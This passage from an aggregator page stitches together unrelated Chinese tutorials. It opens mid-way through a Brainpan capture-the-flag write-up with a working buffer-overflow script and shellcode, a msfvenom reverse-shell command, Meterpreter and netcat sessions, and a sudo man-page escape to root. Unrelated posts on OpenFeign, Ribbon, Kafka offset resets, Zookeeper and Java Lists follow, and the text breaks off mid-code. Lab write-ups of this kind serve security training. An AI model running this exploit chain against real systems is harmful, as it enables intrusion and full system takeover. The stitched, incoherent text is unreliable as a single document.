buf +="\xb8\xa8\x96\x5b\x76\x59\xd2\x4f\x6f\x3e\x1c\x8f\x70\xab\x1c"
buf +="\xe5\x74\x7d\x4a\x91\x76\x58\xbc\x3e\x88\x8f\xbe\x38\x76\x4e"
buf +="\xf7\x33\x41\xc4\xb7\x2b\xae\x08\x38\xab\xf8\x42\x38\xc3\x5c"
buf +="\x37\x6b\xf6\xa2\xe2\x1f\xab\x36\x0d\x76\x18\x90\x65\x74\x47"
buf +="\xd6\x29\x87\xa2\x64\x2d\x77\x31\x43\x96\x10\xc9\xd3\x26\xe1"
buf +="\xa3\xd3\x76\x89\x38\xfb\x79\x79\xc1\xd6\xd1\x11\x48\xb7\x90"
buf +="\x80\x4d\x92\x75\x1d\x4e\x11\xae\xae\x35\x5a\x51\x4f\xca\x72"
buf +="\x36\x4f\xcb\x7a\x48\x73\x1a\x43\x3e\xb2\x9f\xf0\x21\x29\x35"
buf +="\x0d\xca\xf4\xdc\xac\x97\x06\x0b\xf2\xa1\x84\xb9\x8b\x55\x94"
buf +="\xc8\x8e\x12\x12\x21\xe3\x0b\xf7\x45\x50\x2b\xd2";



payload = buf
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

初始shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
bash复制代码msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf6 exploit(multi/handler) > set lhost tun0
lhost => 10.13.21.169
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.13.21.169:4444
[*] Sending stage (175174 bytes) to 10.10.80.112
[*] Meterpreter session 1 opened (10.13.21.169:4444 -> 10.10.80.112:47932) at 2021-11-25 03:49:39 -0500

meterpreter > getuid
Server username: brainpan\puck

提权

我们观察靶机的目录结构,看着像是一台linux的机器,而且我在上面的meterpreter里,不能切换到windows的正常shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
bash复制代码meterpreter > pwd
Z:\home\puck
meterpreter > cd /
meterpreter > ls
Listing: Z:\
============

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2013-03-04 13:02:15 -0500 bin
40777/rwxrwxrwx 0 dir 2013-03-04 11:19:23 -0500 boot
40777/rwxrwxrwx 0 dir 2021-11-25 03:46:35 -0500 etc
40777/rwxrwxrwx 0 dir 2013-03-04 11:49:37 -0500 home
100666/rw-rw-rw- 15084717 fil 2013-03-04 11:18:57 -0500 initrd.img
100666/rw-rw-rw- 15084717 fil 2013-03-04 11:18:57 -0500 initrd.img.old
40777/rwxrwxrwx 0 dir 2013-03-04 13:04:41 -0500 lib
40777/rwxrwxrwx 0 dir 2013-03-04 10:12:09 -0500 lost+found
40777/rwxrwxrwx 0 dir 2013-03-04 10:12:14 -0500 media
40777/rwxrwxrwx 0 dir 2012-10-09 10:59:43 -0400 mnt
40777/rwxrwxrwx 0 dir 2013-03-04 10:13:47 -0500 opt
40777/rwxrwxrwx 0 dir 2013-03-07 23:07:15 -0500 root
40777/rwxrwxrwx 0 dir 2021-11-25 03:46:37 -0500 run
40777/rwxrwxrwx 0 dir 2013-03-04 11:20:14 -0500 sbin
40777/rwxrwxrwx 0 dir 2012-06-11 10:43:21 -0400 selinux
40777/rwxrwxrwx 0 dir 2013-03-04 10:13:47 -0500 srv
40777/rwxrwxrwx 0 dir 2021-11-25 04:44:01 -0500 tmp
40777/rwxrwxrwx 0 dir 2013-03-04 10:13:47 -0500 usr
40777/rwxrwxrwx 0 dir 2019-08-05 16:47:05 -0400 var
100666/rw-rw-rw- 5180432 fil 2013-02-25 14:32:04 -0500 vmlinuz
100666/rw-rw-rw- 5180432 fil 2013-02-25 14:32:04 -0500 vmlinuz.old

meterpreter > sysinfo
Computer : brainpan
OS : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : brainpan
Logged On Users : 1
Meterpreter : x86/windows

于是我们另外编译一个linux的shell,由上可知这台机器是x86架构的

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.13.21.169 LPORT=4444 EXITFUNC=thread -b “\x00” -f c

我们把上面生成的payload放到下面的攻击脚本中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
makefile复制代码import socket

ip = "10.10.80.112"
port = 9999

prefix = "OVERFLOW1 "
offset = 514
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"

padding = "\x90" * 16

buf = ""
buf +="\xd9\xcd\xd9\x74\x24\xf4\xbe\x81\x04\xa8\x7a\x58\x33\xc9\xb1"
buf +="\x12\x83\xc0\x04\x31\x70\x13\x03\xf1\x17\x4a\x8f\xc0\xcc\x7d"
buf +="\x93\x71\xb0\xd2\x3e\x77\xbf\x34\x0e\x11\x72\x36\xfc\x84\x3c"
buf +="\x08\xce\xb6\x74\x0e\x29\xde\x8c\xfd\xdc\xb7\xf9\xff\xde\xd6"
buf +="\xa5\x76\x3f\x68\x33\xd9\x91\xdb\x0f\xda\x98\x3a\xa2\x5d\xc8"
buf +="\xd4\x53\x71\x9e\x4c\xc4\xa2\x4f\xee\x7d\x34\x6c\xbc\x2e\xcf"
buf +="\x92\xf0\xda\x02\xd4";



payload = buf
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

开启监听,执行,收到反弹shell

1
2
3
4
5
6
7
scss复制代码└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.80.112] 47943
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
whoami
puck

用python3 -c "__import__('pty').spawn('/bin/bash')"切换成tty,查看sudo特权

1
2
3
4
5
6
7
8
9
ruby复制代码python3 -c "__import__('pty').spawn('/bin/bash')"
puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util

anansi_util看起来像是一个自定义命令,尝试执行:

1
2
3
4
5
6
7
ruby复制代码puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]

弹出了一个manu名单,后面应该是接相应的命令

经过测试network相当于ifconfig命令,manual相当于man命令,proclist不知道是什么

我们可以根据manual命令进行权限提升

首先执行:sudo /home/anansi/bin/anansi_util manual man

其次执行:!/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
bash复制代码puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual man
sudo /home/anansi/bin/anansi_util manual man
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)!/bin/sh
!/bin/sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
# whoami
whoami
root
#

成功提权到root。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

OpenFeign入门操作

发表于 2021-11-25

OpenFeign

OpenFeifn也是服务调用与Ribbon相比简化了使用Spring cloud Ribbon时,自动封装服务调用客户端的开发量。Feign集成了Ribbon利用Ribbon维护了Payment的服务列表信息,并且通过轮询实现了客户端的负载均衡。而与Ribbon不同的是,通过feign只需要定义服务绑定接口且以声明式的方法,优雅而简单的实现了服务调用

使用方法

  • 接口+注解: 微服务调用接口+@FeignClient
  • 新建一个cloud-consumer-openFeign-order80消费端
  • pom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
xml复制代码<dependencies>
<!--openfeign-->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-openfeign</artifactId>
</dependency>
<!--eureka client-->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
</dependency>
<dependency><!-- 引入自己定义的api通用包,可以使用Payment支付Entity -->
<groupId>com.cloud</groupId>
<artifactId>cloud-api-commons</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>
<!--web-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<!--一般基础通用配置-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
  • 主启动类要加@EnableFeignClients
  • 新建业务层接口PaymentFeignService接口并新增注解@FeignClient

这里抽象方法就对应服务接口@GetMapping(“/payment/get/{id}”)

1
2
3
4
5
6
java复制代码@Component
@FeignClient(value = "CLOUD-PAYMENT-SERVICE")
public interface OpenFeignService {
@GetMapping("/payment/get/{id}")
public Result<Payment> getPaymentById(@PathVariable("id") Long id);
}
  • 写控制层Controller 这就正常写
1
2
3
4
5
6
7
8
9
10
11
12
13
java复制代码@RestController
@Slf4j
public class FeignController {

@Resource
private OpenFeignService openFeignService;

@GetMapping(value = "/consumer/payment/get/{id}")
public Result<Payment> getPaymentById(@PathVariable("id") Long id)
{
return openFeignService.getPaymentById(id);
}
}
  • 测试

启动7001->8001/8002->80

进行测试会发现OpenFeign自带负载均衡配置项,这是因为它也集成了ribbon包。

OpenFeign超时设置

  • 故意让8001端口睡一会
1
2
3
4
5
6
java复制代码 @GetMapping(value = "/payment/feign/timeout")
public String paymentFeignTimeOut() {
System.out.println("*****paymentFeignTimeOut from port: "+port); //暂停几秒钟线程
try { TimeUnit.SECONDS.sleep(3); } catch (InterruptedException e) { e.printStackTrace(); }
return port;
}
  • 测试一下

feign.jpg

  • 发现并没有找到接口报404,这是因为feign默认请求为1秒,而我们让程序睡了3秒用户等不了只能给他说没有这个请求,如果真遇到复杂程序就要我们手动调整一下最大时间上限.

这里我们调的ribbon的时间其实也都一样,因为feign已经集成了ribbon

1
2
3
yml复制代码ribbon:
ReadTimeout: 5000 # 毫秒时间, 同feign的
ConnectTimeout: 5000 #, 同feign的
  • 再进行测试 会等待三秒才会得到数据

feign2.jpg

  • feign的配置
1
2
3
4
5
6
yml复制代码feign:
client:
config:
default: // 这个代表 服务,default为任意服务,可以指定服务名来指定调用该服务时的超时时间
connectTimeout: 毫秒时间,建立连接的超时时间,一般只在发现服务时用到
readTimeout: 毫秒时间 ,接口请求的超时时间

OpenFeign日志打印

  • Feign 提供了日志打印功能,我们可以通过配置来调整日志级别,从而了解 Feign 中 Http 请求的细节。说白了就是对Feign接口的调用情况进行监控和输出,现在接口少等以后接口多可以更好的维护。
  • 配置类
1
2
3
4
5
6
7
java复制代码@Configuration
public class FeignConfig {
@Bean
Logger.Level feignLoggerLevel(){
return Logger.Level.FULL;
}
}
  • yml配置
1
2
3
4
java复制代码logging:
level:
# feign日志以什么级别监控 哪个接口
com.wzj.springcloud.service.OpenFeignService: debug
  • 启动测试

feignlog.jpg

openfeign 和 feign

Feign 是Spring Cloud组件中的一个轻量级RESTful的HTTP服务客户端Feign内置了Ribbon,用来做客户端负载均衡,去调用服务注册中心的服务。Feign的使用方式是:使用Feign的注解定义接口,调用这个接口,就可以调用服务注册中心的服务。OpenFeign是Spring Cloud 在Feign的基础上支持了SpringMVC的注解,如@RequesMapping等等。OpenFeign的@FeignClient可以解析SpringMVC的@RequestMapping注解下的接口,并通过动态代理的方式产生实现类,实现类中做负载均衡并调用其他服务。 org.springframework.cloud spring-cloud-starter-feign org.springframework.cloud spring-cloud-starter-openfeign

Feign OpenFeign
是Spring Cloud组件中的一个轻量级RESTful的HTTP服务客户端Feign内置了Ribbon,用来做客户端负载均衡,去调用服务注册中心的服务。 是Spring Cloud 在Feign的基础上支持了SpringMVC的注解,如@RequesMapping等等。
Feign的使用方式是:使用Feign的注解定义接口,调用这个接口,就可以调用服务注册中心的服务。 OpenFeign的@FeignClient可以解析SpringMVC的@RequestMapping注解下的接口,并通过动态代理的方式产生实现类,实现类中做负载均衡并调用其他服务。
org.springframework.cloud spring-cloud-starter-feign org.springframework.cloud spring-cloud-starter-openfeign

为什么有Ribbon又出现OpenFeig呢?

为了方便,让程序写起来更有逻辑。比如我们之前用Ribbon+RestTemplate方式去获得暴露的端口,我们是直接在Controller中进行的,而代码写起来也不是很顺畅的对吧。而我们之前写代码是怎么样的?是不是刚开始学时老师就强调dao-service-controller,但是你用了是不是就没办法调用service是不是违背了本来的意愿其实也没那么严重。这是OpenFeign就出现了,他封装了Ribbon只是在接口成用注解进行完成操作,是不是方便很多写起来更加方便了。这里理解为8001的controller接口为80端的serviceImpl或者dao层是不是更好理解点。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Ribbot

发表于 2021-11-25

Ribbot

Spring Cloud Ribbon是基于Netflix Ribbon实现的一套客户端 负载均衡的工具.

Ribbon会自动的帮助你基于某种规则(如简单轮询,随机连接等)去连接这些机器。我们很容易使用Ribbon实现自定义的负载均衡算法。

比如在上一篇文章Eureka中就是用了Ribbon的负载均衡,在客户模块中提到了RestTemplate

RestTemplate

  • 帮助文档
  • 简单的说它就是调用第三方接口的工具类,比如:我们在项目中经常要使用第三方的 Rest API 服务,比如短信、快递查询、天气预报等等。这些第三方只要提供了 Rest Api ,你都可以使用 RestTemplate 来调用它们。
  • 常用·方法 getForObject方法/getForEntity方法,返回对象为响应体中数据转化成的对象,基本上可以理解为Json 返回对象为ResponseEntity对象,包含了响应中的一些重要信息,比如响应头、响应状态码、响应体等

负载均衡的RestTemplate

在上一篇中我们使用注解 @LoadBalanced让 RestTemplate进行负载均衡的才可以调用Eureka中的暴露的接口,那问什么没有用到ribbon就已经实现的负载均衡呢,那我要ribbon有什么用呢?

打开maven依赖包

ribbot.jpg
原来Eureka已经帮我集成的ribbon包。

Ribbon

Ribbon在工作时分成两步第一步先选择 EurekaServer ,它优先选择在同一个区域内负载较少的server.第二步再根据用户指定的策略,在从server取到的服务注册列表中选择一个地址。其中Ribbon提供了多种策略:比如轮询、随机和根据响应时间加权。

IRule:根据特定算法中从服务列表中选取一个要访问的服务

  • com.netflix.loadbalancer.RoundRobinRule
    轮询
  • com.netflix.loadbalancer.RandomRule
    随机
  • com.netflix.loadbalancer.RetryRule
    先按照RoundRobinRule的策略获取服务,如果获取服务失败则在指定时间内会进行重试,获取可用的服务
  • WeightedResponseTimeRule
    对RoundRobinRule的扩展,响应速度越快的实例选择权重越大,越容易被
  • BestAvailableRule

​ 会先过滤掉由于多次访问故障而处于断路器跳闸状态的服务,然后选择一个并发量最小的服务

  • AvailabilityFilteringRule
    先过滤掉故障实例,再选择并发较小的实例
  • ZoneAvoidanceRule
    默认规则,复合判断server所在区域的性能和server的可用性选择服务器

我们定义一个规则测试一下就用RoundRobinRule轮询,这里要注意这个自定义配置类不能放在@ComponentScan所扫描的当前包下以及子包下,否则我们自定义的这个配置类就会被所有的Ribbon客户端所共享,达不到特殊化定制的目的了。

ribbon1.jpg

1
2
3
4
5
6
7
8
java复制代码@Configuration
public class RunRobin {

@Bean
public IRule myRule(){
return new RoundRobinRule();
}
}
  • 测试

启动 7001->8001->8002->80记得将之前的集群修改为单机哦

测试你会发现8001/8002会轮换进行调用,有兴趣可以尝试一下其他的。

有兴趣一定要看看源代码,研究研究算法

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Kafka 消费者组位移重设的几种方式

发表于 2021-11-25

这是我参与11月更文挑战的第25天,活动详情查看:2021最后一次更文挑战

相关:Kafka 中的消费者组 | 位移主题:Kafka 的消费者组是怎么保存消费位移的?

之前介绍过,Kafka 的消费者可以手动提交位移,并且可以提交并非当前位置的位移,这样可以实现跳过或者重新消费消息。这主要是因为 Kafka 是一个基于日志结构的消息系统,而并非「队列」结构。

简而言之,位移数据是消费者控制的。要注意的是,消费者只能控制位移,不能控制消息,消息对于消费者来说,永远都是只读的。

实际上,Kafka 为消费者提供了丰富的重设位移的方式,大致可以分为针对位置重设和根据时间重设。

根据位置重设

根据位置的位移重设有以下几种

Earliest

把位移重设到当前最早位移处。

这里要注意,因为 Kafka 会删除较早的日志,因此,最早的位置不一定是 0。如果你想重新消费主题中现有的所有消息,可以使用这个策略。

Latest

把位移重设到当前最新位移处。

如果你想跳过所有的历史消息,从最新的消息开始消费,那么就是用这个策略。

Current

把位移重设到当前最新提交的位移处。这个策略的使用场景不多。

Specified-Offset

把位移重设到一个指定的位移处。

有时候,消费者会从消息系统中拉取到无法消费的消息,比如消息的格式错误,或者消费过程中报错,再或者某些与业务相关的原因,导致消息不能消费。此时,可以使用这种策略跳过,消费它之后的消息。

Shift-By-N

把位移重设到一个与当前位置相对的位置上(当前位置 + N)。

Specified-Offset 可以直接指定要重设的位移位置,而 Shift-By-N 可以指定相对于当前位置的位移。比如 N 是 5 的时候,相当于跳过 5 个消息,这里的 N 也可以是负数,这样就会向回跳。

Specified-Offset 和 Shift-By-N 可以理解为绝对位置和相对位置。

根据时间重设

根据时间的位移重设有两种

DateTime

把位移重设为指定时间之后第一个位置。

Duration

把位移重设为与当前时间相对的一个时间点之后的第一个位置。

DateTime 和 Duration 也可以理解为绝对时间和相对时间。

如何操作

了解了这些策略,下面介绍一下具体怎么操作。

比如,要将消费者组的位移重设到当前最早的位置,可以使用一下命令:

1
ruby复制代码bin/kafka-consumer-groups.sh --bootstrap-server <host>:<port> --group <group_id> --reset-offsets --all-topics --to-earliest –execute

Latest 和 Current 策略与之类似。

Specified-Offset 和 Shift-By-N 则需要在命令中提供具体的值,格式分别是 --to-offset <offset> 和 --shift-by <offset_N>。

对于 DateTime 策略的位移重设,需要提供一个具体的时间:

1
ruby复制代码bin/kafka-consumer-groups.sh --bootstrap-server <host>:<port> --group <group_id> --reset-offsets --all-topics --to-datetime 2021-11-25T20:00:00.000 –execute

对于 Duration 策略,需要提供一个符合 ISO-8601 规范的 Duration 格式,以字母 P 开头,后面由 4 部分组成,即 D、H、M 和 S,分别表示天、小时、分钟和秒。

1
ruby复制代码bin/kafka-consumer-groups.sh --bootstrap-server <host>:<port> --group <group_id> --reset-offsets --all-topics --by-duration PT0H30M0S –execute

这里的 PT0H30M0S 代表 30 分钟。

以上这些命令在执行之后,命令行都会提示新的位移信息。

如果要在消费者程序中重设位移,Kafka 也提供了相应的消费者 API,一下是 Java API:

1
2
3
4
java复制代码void seek(TopicPartition partition, long offset);
void seek(TopicPartition partition, OffsetAndMetadata offsetAndMetadata);
void seekToBeginning(Collection<TopicPartition> partitions);
void seekToEnd(Collection<TopicPartition> partitions);

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Zookeeper入门操作

发表于 2021-11-25

服务注册

根据上一讲Eureka基础继续讲解使用,其实原理都是一样都是注册服务。

zookepper

Eureka停止更新了你怎么办?

只要技术有用处就不怕他会消失

zookeeper是一个分布式协调工具,可以实现注册中心功能

我们用zookeeper服务器取代Eureka服务器,zk作为服务注册中心

首先应该在虚拟机下载zk,关闭防火墙可以尝试ping地址查看是否能相互ping通即可
创建支付模块cloud-provider-payment8004
  • 配置pom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
xml复制代码 <dependencies>
<!-- SpringBoot整合Web组件 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency><!-- 引入自己定义的api通用包,可以使用Payment支付Entity -->
<groupId>com.cloud</groupId>
<artifactId>cloud-api-commons</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>
<!-- SpringBoot整合zookeeper客户端 -->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-zookeeper-discovery</artifactId>
<!--先排除自带的zookeeper3.5.3-->
<exclusions>
<exclusion>
<groupId>org.apache.zookeeper</groupId>
<artifactId>zookeeper</artifactId>
</exclusion>
</exclusions>
</dependency>
<!--添加zookeeper3.4.9版本-->
<dependency>
<groupId>org.apache.zookeeper</groupId>
<artifactId>zookeeper</artifactId>
<version>3.4.9</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.7</version>
</dependency>
</dependencies>
  • 配置yml,这里我们发现其实注册器配置基本相同
1
2
3
4
5
6
7
8
9
yaml复制代码server:
port: 8004

spring:
application:
name: cloud-provider-payment
cloud:
zookeeper:
connect-string: 116.62.12.158:2181
  • 启动类注解 @EnableDiscoveryClient
1
2
3
4
5
6
7
java复制代码@SpringBootApplication
@EnableDiscoveryClient
public class PaymentMain8004 {
public static void main(String[] args) {
SpringApplication.run(PaymentMain8004.class,args);
}
}
  • 写Controller
1
2
3
4
5
6
7
8
9
10
java复制代码@RestController
public class PayMentController {
@Value("${server.port}")
private String port;

@GetMapping("payment/zk")
public String payment(){
return "zookeeper" + port+ UUID.randomUUID().toString();
}
}
创建客服端模块cloud-consumer-zk-order80
  • 还是按步骤来 pom配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
xml复制代码<dependencies>
<!-- SpringBoot整合Web组件 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency><!-- 引入自己定义的api通用包,可以使用Payment支付Entity -->
<groupId>com.cloud</groupId>
<artifactId>cloud-api-commons</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>
<!-- SpringBoot整合zookeeper客户端 -->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-zookeeper-discovery</artifactId>
<!--先排除自带的zookeeper3.5.3-->
<exclusions>
<exclusion>
<groupId>org.apache.zookeeper</groupId>
<artifactId>zookeeper</artifactId>
</exclusion>
</exclusions>
</dependency>
<!--添加zookeeper3.4.9版本-->
<dependency>
<groupId>org.apache.zookeeper</groupId>
<artifactId>zookeeper</artifactId>
<version>3.4.9</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.7</version>
</dependency>
</dependencies>
  • 配置yml
1
2
3
4
5
6
7
8
9
yml复制代码server:
port: 80

spring:
application:
name: cloud-order-service
cloud:
zookeeper:
connect-string: 116.62.12.158:2181
  • 启动类注解
1
2
3
4
5
6
7
8
java复制代码
@SpringBootApplication
@EnableDiscoveryClient
public class ZkOrder80 {
public static void main(String[] args) {
SpringApplication.run(ZkOrder80.class,args);
}
}
  • 配置RestTemplate
1
2
3
4
5
6
7
8
9
10
11
12
java复制代码@Configuration
public class Application {

@Bean
@LoadBalanced
public RestTemplate getRestTemplate()
{
RestTemplate restTemplate = new RestTemplate();
restTemplate.getMessageConverters().set(1, new StringHttpMessageConverter(StandardCharsets.UTF_8));
return restTemplate;
}
}
  • controller
1
2
3
4
5
6
7
8
9
10
11
12
13
java复制代码@RestController
public class OrderController {

@Resource
private RestTemplate restTemplate;

private static final String PAYMENT_URL = "http://cloud-provider-payment";
@GetMapping("order/zk")
public String orderzk(){
String result = restTemplate.getForObject(PAYMENT_URL+"/payment/zk", String.class);
return result;
}
}
启动测试

zookeeper操作

​ 进入根目录下cd /usr/local/zookeeper/bin

​ 开启服务./zkServer.sh start

​ 连接./zkCli.sh

​ 显示内容 ls / 这里如果你不开启80和8001是只有zookeeper一个的

​

zookeeper1.jpg
查看services里面有什么ls / 这里就看到了我们所注册的服务

zookeeper2.jpg

1
bash复制代码	在进入一层ls /services/cloud-order-service   看到一串流水号

​

zookeeper.jpg
我们get一下获取流水号信息get /services/cloud-order-service/32717337-c70c-4653-9cd0-1c875bc4a9ad

zookeeper3.jpg
​ 就获得的一串json,我们找个人工具解析一下更容易看

zookeeper4.jpg

这是就可以清楚看到我们所注册的服务了,测试80端口也是可以的

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Java中List接口里的方法及代码演示

发表于 2021-11-25

​ Collection将集合分为两类:List集合以及Set集合,本文先介绍List集合,下片再介绍Set集合。

​ List接口的特点:

1.存储有序,例如:存元素的顺序是11、22、33。那么集合中,元素的存储就

是按照11、22、33的顺序完成的)

2.可以重复

3.可以存储Null值

4.部分自己和线程安全,部分不安全,如:ArrayList,Vector

5.有索引,针对每个元素能够方便的查询和修改

6.判断元素是否重复依赖于equals方法:如果元素是系统类,不需要重写equals方法,如果是自定义类,就需要我们重写equals方法

​ List子接口的定义:

public interface List extends Collection

​ List接口常用的子类:ArrayList(数组),LinkedList(双向链表结构)

List接口的常用方法:

1.add(int index,E element) add(int index,Collection<? extends E> c)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
csharp复制代码public class myList {
public static void main(String[] args) {
List<String> list = new ArrayList<String>();
list.add("张三");
list.add("李四");
list.add("王五");
list.add(0,"小白");
list.add(3,"小红");
for (String l: list
) {
System.out.println(l);
}
}
}

输出结果:

image.png

2.remove(Object o),remove(int index)

从列表中删除指定元素的第一个匹配项,从列表中删除指定位置的元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csharp复制代码public class myList {
public static void main(String[] args) {
List<String> list = new ArrayList<String>();
list.add("张三");
list.add("李四");
list.add("王五");
list.add(0,"小白");
list.add(3,"小红");
list.remove(0);
list.remove("小红");
for (String l: list) {
System.out.println(l);
}
}
}

输出结果:

image.png

3.遍历输出所有元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
csharp复制代码public class myList {
public static void main(String[] args) {
List<String> list = new ArrayList<String>();
list.add("张三");
list.add("李四");
list.add("王五");
list.add(0,"小白");
list.add(3,"小红");

for (String l: list) {
System.out.println(l);
}

System.out.println(list.contains("张三"));
System.out.println(list.contains("小黑"));
}
}

image.png
4.indexOf(Object o)

返回此列表中第一次出现的指定元素的索引,如果此列表不包含该元素,则返回-1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
csharp复制代码public class myList {
public static void main(String[] args) {
List<String> list = new ArrayList<String>();
list.add("张三");
list.add("李四");
list.add("王五");
list.add(0,"小白");
list.add(3,"小红");
/* for (String l: list) {
System.out.println(l);
}*/
int i1 = list.indexOf("小白");
int i2 = list.indexOf("小蓝");
System.out.println(i1);
System.out.println(i2);
}
}

image.png

5.iterator()

以适当的顺序返回列表中的元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
vbnet复制代码public class myList {
public static void main(String[] args) {
List<String> list = new ArrayList<String>();
list.add("张三");
list.add("李四");
list.add("王五");
list.add(0,"小白");
list.add(3,"小红");
Iterator<String> iterator = list.iterator();
while(iterator.hasNext()){
String string = iterator.next();
System.out.println(string);
}
}
}

image.png
6.set(int index , E element)

用指定的元素替换此列表中指定位置的元素(可选操作)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
vbnet复制代码public class myList {
public static void main(String[] args) {
List<String> list = new ArrayList<String>();
list.add("张三");
list.add("李四");
list.add("王五");
list.add(0,"小白");
list.add(3,"小红");
list.set(3,"小黑");
Iterator<String> iterator = list.iterator();
while(iterator.hasNext()){
String string = iterator.next();
System.out.println(string);
}
}
}

image.png
7.toArray()

以适当的顺序(从第一个元素到最后一个元素)返回包含此列表中所有元素的数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csharp复制代码public class myList {
public static void main(String[] args) {
List<String> list = new ArrayList<String>();
list.add("张三");
list.add("李四");
list.add("王五");
list.add(0,"小白");
list.add(3,"小红");
list.set(3,"小黑");
Object[] objects = list.toArray();
//Arrays包含用于操作数组的各种方法(例如排序和搜索)。
